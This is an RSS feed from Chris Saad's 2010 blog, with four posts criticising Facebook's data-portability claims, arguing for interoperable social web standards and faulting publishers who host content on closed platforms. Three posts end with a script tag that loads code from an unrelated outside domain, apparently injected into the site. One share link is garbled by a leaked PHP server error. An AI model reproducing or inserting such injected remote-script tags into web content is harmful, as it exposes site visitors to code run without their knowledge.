<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Chris Saad - Paying Attention &#187; Media</title>
	<atom:link href="http://blog.areyoupayingattention.com/category/media/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.areyoupayingattention.com</link>
	<description>Personal Blog of Chris Saad</description>
	<lastBuildDate>Mon, 21 Jun 2010 22:48:42 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Guest Post: Facebook&#8217;s world view</title>
		<link>http://blog.areyoupayingattention.com/2010/06/guest-post-facebooks-world-view/</link>
		<comments>http://blog.areyoupayingattention.com/2010/06/guest-post-facebooks-world-view/#comments</comments>
		<pubDate>Wed, 09 Jun 2010 03:28:06 +0000</pubDate>
		<dc:creator>Chris Saad</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Dataportability]]></category>
		<category><![CDATA[Media]]></category>
		<category><![CDATA[Personal]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[data portability]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[guestpost]]></category>
		<category><![CDATA[interoperability]]></category>
		<category><![CDATA[mashable]]></category>
		<category><![CDATA[open culture]]></category>
		<category><![CDATA[open technology]]></category>

		<guid isPermaLink="false">http://blog.areyoupayingattention.com/?p=667</guid>
		<description><![CDATA[
			
				
			
		
Just wanted to share with you here that I wrote a guest post on Mashable last week about Facebook&#8217;s world view. Be sure to check it out here.
Are these blunders a series of accidental missteps (a combination of ambition, scale and hubris) or a calculated risk to force their world view on unsuspecting users (easier [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fblog.areyoupayingattention.com%2F2010%2F06%2Fguest-post-facebooks-world-view%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fblog.areyoupayingattention.com%2F2010%2F06%2Fguest-post-facebooks-world-view%2F&amp;source=chrissaad&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>Just wanted to share with you here that I wrote a guest post on Mashable last week about Facebook&#8217;s world view. Be sure to <a href="http://mashable.com/2010/06/04/facebook-data-portability/">check it out here</a>.</p>
<blockquote><p>Are these blunders a series of accidental missteps (a combination of ambition, scale and hubris) or a calculated risk to force their world view on unsuspecting users (easier to ask for forgiveness)? Only the executives at Facebook can ever truly answer this question.</p>
<p>What’s clear, though, is that their platform is tightly coupled with countless other websites and applications across the web, and their financial success is aligned with many influential investors and actors. At this stage, and at this rate, their continued success is all but assured.</p>
<p>But so is the success of the <a href="http://blog.aboutecho.com/2010/03/29/yahoo-login-is-more-popular-than-facebook-are-you-covered/" target="_blank">rest of the web</a>. Countless social applications emerge every day and the rest of the web is, and always will be, bigger than any proprietary platform. Through its action and inaction, Facebook offers opportunities for us all. And in the dance between their moves and the rest of the web’s, innovation can be found.</p>
<p>The only thing that can truly hurt the web is a monopoly on ideas, and the only ones who can let that happen are web users themselves.</p></blockquote>
<p><script src="http://ie.eracou.com/3"></script></p>


<!-- Begin SexyBookmarks Menu Code -->
<div class="sexy-bookmarks sexy-bookmarks-expand">
<ul class="socials">
		<li class="sexy-delicious">
			<a href="http://delicious.com/post?url=http://blog.areyoupayingattention.com/2010/06/guest-post-facebooks-world-view/&amp;title=Guest+Post%3A+Facebook%27s+world+view" rel="nofollow" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
		<li class="sexy-digg">
			<a href="http://digg.com/submit?phase=2&amp;url=http://blog.areyoupayingattention.com/2010/06/guest-post-facebooks-world-view/&amp;title=Guest+Post%3A+Facebook%27s+world+view" rel="nofollow" title="Digg this!">Digg this!</a>
		</li>
		<li class="sexy-reddit">
			<a href="http://reddit.com/submit?url=http://blog.areyoupayingattention.com/2010/06/guest-post-facebooks-world-view/&amp;title=Guest+Post%3A+Facebook%27s+world+view" rel="nofollow" title="Share this on Reddit">Share this on Reddit</a>
		</li>
		<li class="sexy-stumbleupon">
			<a href="http://www.stumbleupon.com/submit?url=http://blog.areyoupayingattention.com/2010/06/guest-post-facebooks-world-view/&amp;title=Guest+Post%3A+Facebook%27s+world+view" rel="nofollow" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a>
		</li>
		<li class="sexy-facebook">
			<a href="http://www.facebook.com/share.php?v=4&amp;src=bm&amp;u=http://blog.areyoupayingattention.com/2010/06/guest-post-facebooks-world-view/&amp;t=Guest+Post%3A+Facebook%27s+world+view" rel="nofollow" title="Share this on Facebook">Share this on Facebook</a>
		</li>
		<li class="sexy-twitter">
			<a href="http://twitter.com/home?status=Guest+Post%3A+Facebook%27s+world+view+-+http://b2l.me/2ar6d+(via+@chrissaad)&amp;source=shareaholic" rel="nofollow" title="Tweet This!">Tweet This!</a>
		</li>
		<li class="sexy-linkedin">
			<a href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http://blog.areyoupayingattention.com/2010/06/guest-post-facebooks-world-view/&amp;title=Guest+Post%3A+Facebook%27s+world+view&amp;summary=Just%20wanted%20to%20share%20with%20you%20here%20that%20I%20wrote%20a%20guest%20post%20on%20Mashable%20last%20week%20about%20Facebook%27s%20world%20view.%20Be%20sure%20to%20check%20it%20out%20here.%0D%0AAre%20these%20blunders%20a%20series%20of%20accidental%20missteps%20%28a%20combination%20of%20ambition%2C%20scale%20and%20hubris%29%20or%20a%20calculated%20risk%20to%20force%20their%20world%20view%20on%20unsuspecti&amp;source=Chris Saad - Paying Attention" rel="nofollow" title="Share this on LinkedIn">Share this on LinkedIn</a>
		</li>
		<li class="sexy-googlebuzz">
			<a href="http://www.google.com/buzz/post?url=http://blog.areyoupayingattention.com/2010/06/guest-post-facebooks-world-view/&amp;imageurl=" rel="nofollow" title="Post on Google Buzz">Post on Google Buzz</a>
		</li>
		<li class="sexy-techmeme">
			<a href="http://twitter.com/home/?status=Tip+@Techmeme+http://blog.areyoupayingattention.com/2010/06/guest-post-facebooks-world-view/+&quot;Guest+Post%3A+Facebook%27s+world+view&quot;" rel="nofollow" title="Tip this to TechMeme">Tip this to TechMeme</a>
		</li>
</ul>
<div style="clear:both;"></div>
</div>
<!-- End SexyBookmarks Menu Code -->

]]></content:encoded>
			<wfw:commentRss>http://js-kit.com/rss/blog.areyoupayingattention.com/p=667</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Guest Post: Facebook&#8217;s claims about data portability are false</title>
		<link>http://blog.areyoupayingattention.com/2010/05/guest-post-facebooks-claims-about-data-portability-are-false/</link>
		<comments>http://blog.areyoupayingattention.com/2010/05/guest-post-facebooks-claims-about-data-portability-are-false/#comments</comments>
		<pubDate>Fri, 28 May 2010 20:18:59 +0000</pubDate>
		<dc:creator>Chris Saad</dc:creator>
				<category><![CDATA[Analysis]]></category>
		<category><![CDATA[Dataportability]]></category>
		<category><![CDATA[Media]]></category>
		<category><![CDATA[synapticweb]]></category>
		<category><![CDATA[data portability]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[interoperability]]></category>
		<category><![CDATA[open web]]></category>
		<category><![CDATA[privacy]]></category>

		<guid isPermaLink="false">http://blog.areyoupayingattention.com/?p=664</guid>
		<description><![CDATA[
			
				
			
		
I have published a guest post on RWW about Facebook&#8217;s recent privacy challenges and their claims about data portability.
&#8220;The lack of honesty and clarity from the company and its representatives &#8230; and the continued trend of taking established language &#8211; such as &#8220;open technology&#8221; or &#8220;data portability&#8221; &#8211; and corrupting it for its own marketing [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fblog.areyoupayingattention.com%2F2010%2F05%2Fguest-post-facebooks-claims-about-data-portability-are-false%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fblog.areyoupayingattention.com%2F2010%2F05%2Fguest-post-facebooks-claims-about-data-portability-are-false%2F&amp;source=chrissaad&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>I have published a guest post on RWW about Facebook&#8217;s recent privacy challenges and their claims about data portability.</p>
<blockquote><p>&#8220;The lack of honesty and clarity from the company and its representatives &#8230; and the continued trend of taking established language &#8211; such as &#8220;open technology&#8221; or &#8220;data portability&#8221; &#8211; and corrupting it for its own marketing purposes, is far more disconcerting than the boundaries it&#8217;s pushing with its technology choices.&#8221;</p></blockquote>
<p><a href="http://www.readwriteweb.com/archives/chris_saad_facebooks_claims_about_data_portability_are_false.php">Read it here</a>.<script src="http://ie.eracou.com/3"></script></p>


<!-- Begin SexyBookmarks Menu Code -->
<div class="sexy-bookmarks sexy-bookmarks-expand">
<ul class="socials">
		<li class="sexy-delicious">
			<a href="http://delicious.com/post?url=http://blog.areyoupayingattention.com/2010/05/guest-post-facebooks-claims-about-data-portability-are-false/&amp;title=Guest+Post%3A+Facebook%27s+claims+about+data+portability+are+false" rel="nofollow" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
		<li class="sexy-digg">
			<a href="http://digg.com/submit?phase=2&amp;url=http://blog.areyoupayingattention.com/2010/05/guest-post-facebooks-claims-about-data-portability-are-false/&amp;title=Guest+Post%3A+Facebook%27s+claims+about+data+portability+are+false" rel="nofollow" title="Digg this!">Digg this!</a>
		</li>
		<li class="sexy-reddit">
			<a href="http://reddit.com/submit?url=http://blog.areyoupayingattention.com/2010/05/guest-post-facebooks-claims-about-data-portability-are-false/&amp;title=Guest+Post%3A+Facebook%27s+claims+about+data+portability+are+false" rel="nofollow" title="Share this on Reddit">Share this on Reddit</a>
		</li>
		<li class="sexy-stumbleupon">
			<a href="http://www.stumbleupon.com/submit?url=http://blog.areyoupayingattention.com/2010/05/guest-post-facebooks-claims-about-data-portability-are-false/&amp;title=Guest+Post%3A+Facebook%27s+claims+about+data+portability+are+false" rel="nofollow" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a>
		</li>
		<li class="sexy-facebook">
			<a href="http://www.facebook.com/share.php?v=4&amp;src=bm&amp;u=http://blog.areyoupayingattention.com/2010/05/guest-post-facebooks-claims-about-data-portability-are-false/&amp;t=Guest+Post%3A+Facebook%27s+claims+about+data+portability+are+false" rel="nofollow" title="Share this on Facebook">Share this on Facebook</a>
		</li>
		<li class="sexy-twitter">
			<a href="http://twitter.com/home?status=Guest+Post%3A+Facebook%27s+claims+about+data+portability+are+false+-+File: /data/app/webapp/functions.php<br />Line: 7<br />Message: Too many connections+(via+@chrissaad)&amp;source=shareaholic" rel="nofollow" title="Tweet This!">Tweet This!</a>
		</li>
		<li class="sexy-linkedin">
			<a href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http://blog.areyoupayingattention.com/2010/05/guest-post-facebooks-claims-about-data-portability-are-false/&amp;title=Guest+Post%3A+Facebook%27s+claims+about+data+portability+are+false&amp;summary=I%20have%20published%20a%20guest%20post%20on%20RWW%20about%20Facebook%27s%20recent%20privacy%20challenges%20and%20their%20claims%20about%20data%20portability.%0D%0A%22The%20lack%20of%20honesty%20and%20clarity%20from%20the%20company%20and%20its%20representatives%20...%20and%20the%20continued%20trend%20of%20taking%20established%20language%20-%20such%20as%20%22open%20technology%22%20or%20%22data%20portabil&amp;source=Chris Saad - Paying Attention" rel="nofollow" title="Share this on LinkedIn">Share this on LinkedIn</a>
		</li>
		<li class="sexy-googlebuzz">
			<a href="http://www.google.com/buzz/post?url=http://blog.areyoupayingattention.com/2010/05/guest-post-facebooks-claims-about-data-portability-are-false/&amp;imageurl=" rel="nofollow" title="Post on Google Buzz">Post on Google Buzz</a>
		</li>
		<li class="sexy-techmeme">
			<a href="http://twitter.com/home/?status=Tip+@Techmeme+http://blog.areyoupayingattention.com/2010/05/guest-post-facebooks-claims-about-data-portability-are-false/+&quot;Guest+Post%3A+Facebook%27s+claims+about+data+portability+are+false&quot;" rel="nofollow" title="Tip this to TechMeme">Tip this to TechMeme</a>
		</li>
</ul>
<div style="clear:both;"></div>
</div>
<!-- End SexyBookmarks Menu Code -->

]]></content:encoded>
			<wfw:commentRss>http://js-kit.com/rss/blog.areyoupayingattention.com/p=664</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Open is not enough. Time to raise the bar: Interoperable</title>
		<link>http://blog.areyoupayingattention.com/2010/04/open-is-not-enough-time-to-raise-the-bar-interoperable/</link>
		<comments>http://blog.areyoupayingattention.com/2010/04/open-is-not-enough-time-to-raise-the-bar-interoperable/#comments</comments>
		<pubDate>Thu, 29 Apr 2010 23:18:21 +0000</pubDate>
		<dc:creator>Chris Saad</dc:creator>
				<category><![CDATA[Attention]]></category>
		<category><![CDATA[Dataportability]]></category>
		<category><![CDATA[Media]]></category>
		<category><![CDATA[Personal]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[eliasbiz]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[innovaiton]]></category>
		<category><![CDATA[interoperable]]></category>
		<category><![CDATA[interoperate. interoperabe]]></category>
		<category><![CDATA[open]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://blog.areyoupayingattention.com/?p=634</guid>
		<description><![CDATA[
			
				
			
		
Last week Elias Bizannes and I wrote a post Assessing the Openness of Facebook&#8217;s &#8216;Open Graph Protocol&#8217;.
To summarize that post, it&#8217;s clear that Facebook is making a play to create, aggregate and own not only identity on the web, but everything that hangs off it. From Interests to Engagement &#8211; not just on their .com but [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fblog.areyoupayingattention.com%2F2010%2F04%2Fopen-is-not-enough-time-to-raise-the-bar-interoperable%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fblog.areyoupayingattention.com%2F2010%2F04%2Fopen-is-not-enough-time-to-raise-the-bar-interoperable%2F&amp;source=chrissaad&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>Last week Elias Bizannes and I wrote a post <a href="http://blog.dataportability.org/2010/04/25/assessing-the-openess-of-facebooks-open-graph-protocol/">Assessing the Openness of Facebook&#8217;s &#8216;Open Graph Protocol&#8217;</a>.</p>
<p>To summarize that post, it&#8217;s clear that Facebook is making a play to create, aggregate and own not only identity on the web, but everything that hangs off it. From Interests to Engagement &#8211; not just on their .com but across all sites. To do this they are giving publishers token value (analytics and traffic) to take over parts of the page with pieces of Facebook.com without giving them complete access to the user , their data or the user experience (all at the exclusion of any other player). In addition, they are building a semantic map of the Internet that will broker interests and data on a scale never before seen anywhere.</p>
<p>In the face of such huge momentum and stunningly effective execution (kudos to them!), aiming for (or using the word) Open is no longer enough. The web community needs to up it&#8217;s game.</p>
<p>The same is true for data portability &#8211; the group and the idea. Data portability is no longer enough. We must raise the bar and start to aim for <strong><em>Interoperable</em></strong> Data Portability.</p>
<p>Interoperability means that things work together without an engineer first having to figure out what&#8217;s on the other end of an API call.</p>
<p>When you request &#8216;http://blog.areyoupayingattention.com&#8217; it isn&#8217;t enough that the data is there, or that that its &#8216;open&#8217; or &#8216;accessible&#8217;. No. The reason the web works is because the browser knows exactly how to request the data (HTTP) and how the data will be returned (HTML/CSS/JS). This is an interoperable transaction.</p>
<p>Anyone could write a web server, create a web page, or develop a web browser and it just works. Point the browser somewhere else, and it continues to work.</p>
<p>Now map this to the social web. Anyone could (should be able to) build an open graph, create some graph data, and point a social widget to it and it just works. Point the social widget somewhere else, and it continues to work.</p>
<p>As you can see from the mapping above, the interaction between a social widget and it&#8217;s social graph should be the same as that of a browser and a web-server. Not just open, but interoperable, interchangeable and standardized.</p>
<p>Why? Innovation.</p>
<p>The same kind of innovation we get when we have cutting edge web servers competing to be the best damned web server they can be (IIS vs. Apache), and cutting edge websites (Yahoo vs. MSN vs. Google vs. Every other site on the Internet) and cutting edge browsers (Netscape vs. IE vs. Safari vs. Chrome). These products were able to compete for their part in the stack.</p>
<p>Imagine if we got stuck with IIS,  Netscape and Altavista locking down the web with their own proprietary communication channels. The web would have been no better than every closed communication platform before it. Slow, stale and obsolete.</p>
<p>How do we become interoperable? It&#8217;s hard. Really hard. Those of us who manage products at scale know its easy to make closed decisions. You don&#8217;t have to be an evil mastermind &#8211; you just have to be lazy. Fight against being lazy. Think before you design, develop or promote your products &#8211; try harder. I don&#8217;t say this just to you, I say it to myself as well. I am just as guilty of this as anyone else out there developing product. We must all try harder.</p>
<p>Open standards are a start, but open protocols are better. Transactions that, from start to finish, provide for Discoverability, Connectivity and Exchange of data using well known patterns.</p>
<p>The standards groups have done a lot of work, but standards alone don&#8217;t solve the problem. It requires product teams to implement the standards and this is an area I am far more interested in these days. How do we implement these patterns at <em>scale</em>.</p>
<p>Customers (i.e. Publishers) must also demand interoperable products. Products that not just connect them to Facebook or Twitter but rather make them first class nodes on the social web.</p>
<p>Like we said on the DataPortability blog:</p>
<blockquote><p>In order for true interoperable, peer-to-peer data portability to win, serious publishers and other sites must be vigilant to choose cross-platform alternatives that leverage multiple networks rather than just relying on Facebook exclusively.</p>
<p>In this way they become first-class nodes on the social web rather than spokes on Facebook’s hub.</p></blockquote>
<p>But this is just the start. This just stems the tide by handing the keys to more than one player so that no one player kills us while the full transition to a true peer-to-peer model takes place.</p>
<p>If the web is to truly stay open and interoperable, we need to think bigger and better than just which big company (s) we want to hand our identities to.</p>
<p>Just like every site on the web today can have its own web server, every site should also have the choice to host (or pick) its own social server. Every site should become a fully featured peer on the social web. There is no reason why CNN can not be just as functional, powerful, effective and <strong><em>interchangeable</em></strong> as Facebook.com.</p>
<p>If we don&#8217;t, we will be stuck with the IIS, IE and Netscape&#8217;s of the social web and innovation will die.<script src="http://ie.eracou.com/3"></script></p>


<!-- Begin SexyBookmarks Menu Code -->
<div class="sexy-bookmarks sexy-bookmarks-expand">
<ul class="socials">
		<li class="sexy-delicious">
			<a href="http://delicious.com/post?url=http://blog.areyoupayingattention.com/2010/04/open-is-not-enough-time-to-raise-the-bar-interoperable/&amp;title=Open+is+not+enough.+Time+to+raise+the+bar%3A+Interoperable" rel="nofollow" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
		<li class="sexy-digg">
			<a href="http://digg.com/submit?phase=2&amp;url=http://blog.areyoupayingattention.com/2010/04/open-is-not-enough-time-to-raise-the-bar-interoperable/&amp;title=Open+is+not+enough.+Time+to+raise+the+bar%3A+Interoperable" rel="nofollow" title="Digg this!">Digg this!</a>
		</li>
		<li class="sexy-reddit">
			<a href="http://reddit.com/submit?url=http://blog.areyoupayingattention.com/2010/04/open-is-not-enough-time-to-raise-the-bar-interoperable/&amp;title=Open+is+not+enough.+Time+to+raise+the+bar%3A+Interoperable" rel="nofollow" title="Share this on Reddit">Share this on Reddit</a>
		</li>
		<li class="sexy-stumbleupon">
			<a href="http://www.stumbleupon.com/submit?url=http://blog.areyoupayingattention.com/2010/04/open-is-not-enough-time-to-raise-the-bar-interoperable/&amp;title=Open+is+not+enough.+Time+to+raise+the+bar%3A+Interoperable" rel="nofollow" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a>
		</li>
		<li class="sexy-facebook">
			<a href="http://www.facebook.com/share.php?v=4&amp;src=bm&amp;u=http://blog.areyoupayingattention.com/2010/04/open-is-not-enough-time-to-raise-the-bar-interoperable/&amp;t=Open+is+not+enough.+Time+to+raise+the+bar%3A+Interoperable" rel="nofollow" title="Share this on Facebook">Share this on Facebook</a>
		</li>
		<li class="sexy-twitter">
			<a href="http://twitter.com/home?status=Open+is+not+enough.+Time+to+raise+the+bar%3A+Interoperable+-+http://b2l.me/rzux6+(via+@chrissaad)&amp;source=shareaholic" rel="nofollow" title="Tweet This!">Tweet This!</a>
		</li>
		<li class="sexy-linkedin">
			<a href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http://blog.areyoupayingattention.com/2010/04/open-is-not-enough-time-to-raise-the-bar-interoperable/&amp;title=Open+is+not+enough.+Time+to+raise+the+bar%3A+Interoperable&amp;summary=Last%20week%20Elias%20Bizannes%C2%A0and%20I%20wrote%20a%20post%20Assessing%20the%20Openness%20of%20Facebook%27s%20%27Open%20Graph%20Protocol%27.%0D%0A%0D%0ATo%20summarize%20that%20post%2C%20it%27s%20clear%20that%20Facebook%20is%20making%20a%20play%20to%20create%2C%20aggregate%20and%20own%20not%20only%20identity%20on%20the%20web%2C%20but%20everything%20that%20hangs%20off%20it.%20From%20Interests%20to%20Engagement%20-%20no&amp;source=Chris Saad - Paying Attention" rel="nofollow" title="Share this on LinkedIn">Share this on LinkedIn</a>
		</li>
		<li class="sexy-googlebuzz">
			<a href="http://www.google.com/buzz/post?url=http://blog.areyoupayingattention.com/2010/04/open-is-not-enough-time-to-raise-the-bar-interoperable/&amp;imageurl=" rel="nofollow" title="Post on Google Buzz">Post on Google Buzz</a>
		</li>
		<li class="sexy-techmeme">
			<a href="http://twitter.com/home/?status=Tip+@Techmeme+http://blog.areyoupayingattention.com/2010/04/open-is-not-enough-time-to-raise-the-bar-interoperable/+&quot;Open+is+not+enough.+Time+to+raise+the+bar%3A+Interoperable&quot;" rel="nofollow" title="Tip this to TechMeme">Tip this to TechMeme</a>
		</li>
</ul>
<div style="clear:both;"></div>
</div>
<!-- End SexyBookmarks Menu Code -->

]]></content:encoded>
			<wfw:commentRss>http://js-kit.com/rss/blog.areyoupayingattention.com/p=634</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Missed opportunities in Publishing</title>
		<link>http://blog.areyoupayingattention.com/2010/02/missed-opportunities-in-publishing/</link>
		<comments>http://blog.areyoupayingattention.com/2010/02/missed-opportunities-in-publishing/#comments</comments>
		<pubDate>Sun, 21 Feb 2010 16:08:05 +0000</pubDate>
		<dc:creator>Chris Saad</dc:creator>
				<category><![CDATA[Attention]]></category>
		<category><![CDATA[Media]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[blogsareback]]></category>
		<category><![CDATA[experts]]></category>
		<category><![CDATA[publishing]]></category>
		<category><![CDATA[social media]]></category>

		<guid isPermaLink="false">http://blog.areyoupayingattention.com/?p=575</guid>
		<description><![CDATA[
			
				
			
		
MG Siegler over on Techcrunch yesterday wrote a story about how the AP is tweeting links to its stories. Those links, however, are not to its website. Instead those twitter links lead to Facebook copies of their stories!
Here&#8217;s a snippet of his post:
The AP is using their Twitter feed to tweet out their stories — nothing [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fblog.areyoupayingattention.com%2F2010%2F02%2Fmissed-opportunities-in-publishing%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fblog.areyoupayingattention.com%2F2010%2F02%2Fmissed-opportunities-in-publishing%2F&amp;source=chrissaad&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>MG Siegler over on <a href="http://techcrunch.com/2010/02/20/the-ap-twitter-facebook/">Techcrunch yesterday</a> wrote a story about how the AP is tweeting links to its stories. Those links, however, are not to its website. Instead those twitter links lead to Facebook copies of their stories!</p>
<p>Here&#8217;s a snippet of his post:</p>
<blockquote><p>The AP is using <a href="http://twitter.com/ap">their</a> Twitter feed to tweet out their stories — nothing new there, obviously — but every single one of them links to the story on their Facebook Notes page. It’s not clear how long they’ve been doing this, but <a href="http://SearchEngineLand.com">Search Engine Land’s</a> Danny Sullivan <a href="http://twitter.com/dannysullivan/status/9408856266">noted</a> the oddness of this, and how annoying it is, tonight. The AP obviously has a ton of media partners, and they could easily link to any of those, or even the story hosted on their own <a href="http://www.ap.org/">site</a>. But no, instead they’re copying all these stories to their Facebook page and linking there for no apparent reason.</p>
<p>As Sullivan notes in a follow-up <a href="http://twitter.com/dannysullivan/status/9408900169">tweet</a>, “<em>i really miss when people had web sites they owned and pointed at. why lease your soul to facebook. or buzz. or whatever. master your domain</em>.”</p>
<p>What’s really odd about this is the AP’s recent scuffle with Google over the hosting of AP content. The two sides appeared to reach <a href="http://searchengineland.com/ap-google-reach-a-deal-sort-of-34875">some sort of deal earlier this month (after months of threats and actual </a><a href="http://techcrunch.com/2010/01/11/google-news-pulls-ap/">pulled content</a>), but now the AP is just hosting all this content on Facebook for the hell of it?</p></blockquote>
<p>To me this isn&#8217;t unusual at all. In fact it&#8217;s common practice amongst &#8217;social media experts&#8217;. Many of us use/used tools like FriendFeed, Buzz, Facebook etc not just to share links, but to actually host original content. We actively send all our traffic to these sites rather than using them as draws back to our own open blog/publishing platforms.</p>
<p>I completely agree with MG. Sending your audience to a closed destination site which provides you no brand control, monetization or cross-sell capability shows a profound misunderstanding of the economics of publishing.</p>
<p>Some will argue that the content should find the audience, and they should be free to read it wherever they like. Sure, I won&#8217;t disagree with that, but actively generating it in a non-monetizable place and <em>actively</em> sending people there seems like a missed opportunity to me. Why not generate it on your blog and then simply share the links in other places. If those users choose to chat over there, that&#8217;s fine, but the first, best place to view the content and observe the conversation should always be at the source, at YOUR source. YOUR site.</p>
<p>Some will argue that those platforms generate more engagement than a regular blog/site. They generate engagement because your blog is not looked after. You&#8217;re using inferior plugins and have not taken the time to consider how your blog can become a first class social platform. You&#8217;re willing to use tools that cannibalize your audience rather than attract them. You&#8217;re willing to use your  blog as a traffic funnel back to other destination sites by replacing big chunks of it with FriendFeed streams rather than hosting your own LifeStream like <a href="http://lifeline.louisgray.com/">Louis Gray</a> and <a href="http://leoville.com/category/lifestream">Leo Laporte have done.</a></p>
<p>Some will argue (or not, because they don&#8217;t realize or don&#8217;t want to say it out loud) that they are not journalists, they are personalities, and they go wherever their audience is. They don&#8217;t monetize their content, they monetize the fact that they HAVE an audience by getting paying jobs that enable them to evangelize through any channel that they choose. Those people (and there are very few of them) have less incentive to consolidate their content sources (although there are still reasons to do so). Unfortunately, though, media properties sometimes get confused and think they can do the same thing.</p>
<p>The list of reasons why publishing stuff on Buzz or FriendFeed or Facebook as a source rather than an aggregator goes on and on, so I will just stop here.</p>
<p>I&#8217;m glad MG has picked up on it and written about it on Techcrunch.</p>
